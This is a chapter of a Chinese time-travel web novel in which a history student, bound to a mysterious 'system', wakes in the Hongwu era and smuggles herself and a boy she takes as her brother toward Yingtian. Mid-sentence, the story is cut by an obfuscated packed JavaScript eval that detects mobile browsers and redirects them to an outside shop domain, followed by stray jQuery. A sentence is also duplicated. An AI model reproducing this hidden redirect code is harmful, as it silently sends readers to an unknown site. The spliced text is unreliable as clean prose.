洪武八年六月初九,长江水路。
货船猛地一颠,崔晞被硬生生晃醒。
她喉咙干涩发紧,眼皮重若千斤,费力才撑开一道缝。
舱底光线昏暗,周遭堆满压实的布捆,江阴苎布特有的生涩粗粝气味,一个劲往鼻尖钻。
一个没有感情的机械音,突兀地在她脑中响起。
【宿主确认:崔晞。历史调研者序列第9号。】
【调研朝代:大明洪武朝。】
【核心规则:正史不可轻改。史书留白处,方容宿主行动。】
【任务时限:洪武三十五年结束。】
【警告:主动改变重大历史节点将触发修正机制。后果不可控。】
洪武三十五年。朱元璋在位三十一年,哪来的三十五年?算上建文帝那四年。
所以……这是穿越了?
“阿姊……你总算醒了。”
沙哑的声音从旁边传来,打断了她的思绪。
一个身形瘦弱的少年凑近过来,眼眶泛红,手里捧着一只豁口粗瓷碗,神情满是焦灼。
崔晞看着这张陌生却又透着几分熟悉的脸,脑子还未完全清明,无数记忆碎片便如潮水般涌入,瞬间将她吞没。
原身,名叫夏晞。
父亲夏景和,曾任太医院正五品院判,被左丞相胡惟庸胁迫,在病重的诚意伯刘伯温的汤药中动了手脚。
事成之后,父亲终日活在恐惧与自责之中,不堪重负,主动辞官归乡。
他以为褪去朝堂身份,便能阖家安稳度日。
可他低估了胡惟庸的狠辣。为斩草除根、抹去所有知情人,胡惟庸竟遣人追至江阴,深夜一把大火,将夏家满门焚于宅院之中。
漫天火光里,弟弟夏执拼尽全力,把她从后院狗洞里推了出去。
姐弟二人成了夏家仅存的遗孤,自江阴一路逃亡,心底只剩一个执念:赶赴应天府,敲响登闻鼓,为家人伸冤。
船主周大叔感念昔日受夏家恩情,甘愿风险,悄悄将二人藏进货船底舱,一路避过关卡盘查,送至应天地界。
崔晞的心猛地一揪。
告当朝左丞相胡惟庸?
就凭两个无依无靠、手无半分凭证的孤儿,何其渺茫?
何况刘伯温被暗害之事,背后极有可能是朱元璋暗中默许。眼下皇帝故意纵容、养着胡惟庸的野心,本就意在日后借机清肃朝堂、株连朝臣。
此刻去敲登闻鼓,哪里是鸣冤伸屈,分明是自投罗网,白白送命。
原身没能撑住这一路颠簸流离、终日惊惶忧惧,高烧不退,才让异世的自己取而代之。
看着夏执瘦得凸起的腕骨,崔晞瞬间下定决心。
登闻鼓,不能敲!
至少眼下,万万不可!
她压下心底翻涌的波澜,学着原主往日的温软模样,轻轻拍了拍夏执的肩头。
“醒了,还是有点难受,歇一歇就好。”
夏执紧绷的身子稍稍松懈,心底却掠过一丝异样。阿姊方才说的那个“有点”,听着怪生的,不似她平日说话的样子。
但他转念想到阿姊死里逃生又大病一场,想必是烧糊涂了,没敢多问,只将瓷碗又往她唇边递了递。
“阿姊喝水。周大叔说,过了江宁镇,得在夹江里挨到天黑透了才敢往龙江关的码头上靠。”
碗里温水温吞适口,带着淡淡的柴火气息。崔晞小口咽下,喉咙里的灼痛感稍稍缓和。
她闭上眼,在心底默声唤道:“系统?”
【系统待命中。】
“为什么选我?”
【宿主有明确的调研意愿。意愿被系统捕捉,判定为可匹配。】
崔晞思绪卡顿了一瞬,随即记起来——她是历史系研究生,平日里最烦那些不看史料就瞎带节奏的营销号。动辄“朱棣毫无建树”,张口“盐铁专营只为愚弄百姓”,评论区还一片“涨知识了”。
她不止一次想,要是能亲眼去看看,把真实的历史记下来就好了
她不止一次地想,要是能亲眼去看看,把真实的历史记下来就好了。
得,就因为这个“意愿”。
……合理。
“为什么偏偏是明朝?“
【宿主所处时空,明朝历史争议最盛。系统判定此为优先观测目标。】
“任务是什么?田野调查?”
【调研内容由宿主自行确定。】
“怎么记录?“
【只需脑海生起记录意念,所思即自动成文。回归后整合提交完整报告即可。】
崔晞心念一动:调研报告,洪武八年,七月……
眼前浮现一片光幕,如同文档界面,刚才所想的文字逐一显现。
她又默念删除,文字消失。关闭,光幕收起。
好,操作逻辑摸清了。
最关键的问题来了。
“原主和弟弟去敲登闻鼓,是死路一条。我现在没路引,没户帖,仇家是当朝宰相。地狱开局,你让我怎么调研?”
【任务难度不在系统评估范围内。】
“总得给点新手装备。别的穿越者都有金手指,我呢?”
【本系统无增益类外挂,仅提供三次致命保护,将自动触发。】
“就三条命?”崔晞眉心一紧,“这等尊卑分明、动辄得咎的朝代,三条命够干什么?”
她忽然抓住一个重点,心都凉了半截。
“等等,你的意思是……我在这里,是真的会死?”
【此为真实历史时空。宿主死亡,任务终止,意识将一同消散,无法返回。】
系统的声音冰冷得没有一丝波澜。
崔晞的火气“噌”地就上来了。
“凭什么?你没经过我同意就强制绑定,我要退出!”
【任务一旦开启,不可逆转。】
“行,”崔晞冷笑,“霸王条款是吧?我要投诉。”
识海里沉默了片刻。
【检测到宿主生存条件低于安全阈值,触发“初始资源补偿”条例。】
【宿主每完成一次朝代观测、提交完整历史记录报告,回归现实世界后,可兑换对应酬劳资金。本朝观测基础酬劳为:人民币三百万元。】
三百万!
崔晞眼睛亮了几分。
家里不穷,但她读了这么多年书,衣食住行全靠父母,心里总是有愧。亲戚的风言风语更是没断过:“读历史能挣几个钱?”“还要家里养到什么时候?”
有了这笔钱,她可以毫无后顾之忧地继续深造,或者干脆做自己想做的事。
她承认,自己心动了。
崔晞心情渐渐平复,开始讨价还价:“系统,商量个事儿呗——新手大礼包有没有?先赊点银子应应急成不?不然这日子没法过,真真是寸步难行。”
系统再次沉默。
【初始启动资金已发放,请注意查收。】
下一秒,崔晞感到腰间一沉。
原本空荡的裙袋里,多了一份沉甸甸的重量。
她借着衣料遮掩,悄悄一摸,是银锭冰冷光滑的触感,还有一叠纸钞。
大明宝钞。
洪武朝严禁金银私下交易。这银锭是烫手山芋,必须尽快换成通行铜钱。
但不管怎么说,有了这点家当,总算能解燃眉之急。
崔晞松了半口气。
【任务引导结束。关键节点及任务结束时,本系统将再次启动。】
话音落下,识海彻底归于平静。
任凭崔晞如何呼唤,系统再无回应。
身旁的夏执察觉到她神色几番变幻,眉头微蹙,轻轻扯了扯她的衣袖,满眼担忧,小声说道:“阿姊,你怎么了?可还是不好?”
崔晞晃了晃脑袋,强行切断脑子里那些乱七八糟的现代记忆,学着原主的调子回话:“这会子不妨事了。”
话一出口,舌头直打结。别扭。
货船在夜色里降了速。水流拍打船帮的声响由急转缓。
前方江面横着一艘龙
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17511499|203020||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
江关巡检司的夜巡船。官家船只,规制大,灯笼挑在桅杆高处,昏黄光晕被江风扯得支离破碎。
“快,巡检司的船靠过来了!”
舱口突然探进一个黑红脸膛的脑袋,是周大叔的徒弟刘小哥。他神色慌张,甚至顾不上礼数,粗暴地掀开一处隐蔽的舱板:“这是龙江关的巡哨,查得最严!”
夏执先缩进去,动作熟得不像第一次。崔晞紧随其后。刘小哥把盖板严丝合缝地扣回,顺手扯过几捆粗布压在上面。
船头传来粗哑的吆喝,铁锚“哐当”一声砸进水里。
紧跟着,皮靴踩上甲板。
笃,笃,笃。
每一下,都像踩在人心尖上。
“周掌柜,这个月跑得勤啊。”
“托王头儿的福,混口饭吃。”
隔着一层薄薄的舱板,声音闷闷地透下来。
崔晞死死屏住呼吸,指甲抠进了身下的木头茬子里。
头顶的皮靴来回踱步,停住,又踱开。
“还是送江阴布?”
“咱那儿就这布拿得出手。单子在这,王头儿过目。”
纸张翻动的窸窣声。
最磨人的,就是这不说话的空当。崔晞闭上眼,在心里一个数一个数地默念。
一、二、三……
不知过了多久。
“王头儿辛苦,吃茶。”周大叔的声音压得更低了,还伴着一点细微的银钱磕碰声。
“行了,走罢。”
皮靴声终于远了。
船身轻轻一晃,水声重新变得急促。
紧绷的肺腑终于松弛下来,崔晞大口喘着气,胸口都跟着疼。
旁边的夏执浑身绷得僵直,后背衣衫全湿透了。
这小子,又不是头一回碰到巡查了,怎么比自己还慌?
头顶木板被敲了两下。三长一短。
刘小哥掀开盖板。“出来罢。”
两人爬出夹层,瘫在布匹堆旁,腿肚子直转筋。
江风顺着舱缝往里灌,水腥味直冲鼻腔。
又行了片刻,船速慢下,停住。
周大叔跳下船,江水没过膝盖,他用力把船头往岸边顶了顶。
“下船罢。”
崔晞先跳,周大叔托了一把。夏执跟着跳下。
“只能送你们到草鞋峡。”周大叔叹气,“往南走,天亮前能上官道。往后自己当心……只当没见过。”
他转身爬回船上。
夏执先弯下腰,朝船头深深作揖。
崔晞慢了半拍,才照着他的动作俯身。
这一拜,她拜得不熟,却真心。
周船主撑起竹篙,货船倒退着滑进夜色,连个水花都没多溅。
江泥又冷又黏,一脚踩下去,拔出来费老劲。
两人深一脚浅一脚,摔了爬,爬了摔,不敢停。
崔晞闻了闻自己的袖口,嚯,一股酸臭混着霉味直冲脑门。
五天了,从江阴到应天,一直窝在货舱里。当初坐火车进藏,高反五天都没这么狼狈。
走了一炷香的功夫,脚底总算碰到了硬土和碎石。
是路了。
摸黑走到城门前,天没亮,城门闭得死紧。
城墙根下蹲着几个黑影,也是等开门的。
应天府门禁森严,卯时鼓楼鸣鼓,十三门齐开;戌时暮鼓一响,城门落闸下锁,当夜再无开启之理。
崔晞拉着夏执,在离城门箭楼百步开外的一处土坎后,背风蹲下。
夏执缩在旁边,盯着城门。
“卯时……卯时城门就开了。”
顿了顿,他又哑声道:“阿姊,进了城,咱们就去登闻鼓院。”
崔晞没有立刻答。
眼下最要紧的,根本不是敲鼓伸冤。
而是如何悄无声息混进城里。
他们无路引、无户帖,在洪武朝严苛的户籍连坐之制下,便是实打实的黑户流民。一旦被巡卒盘查,轻则发配充军,重则当场格杀。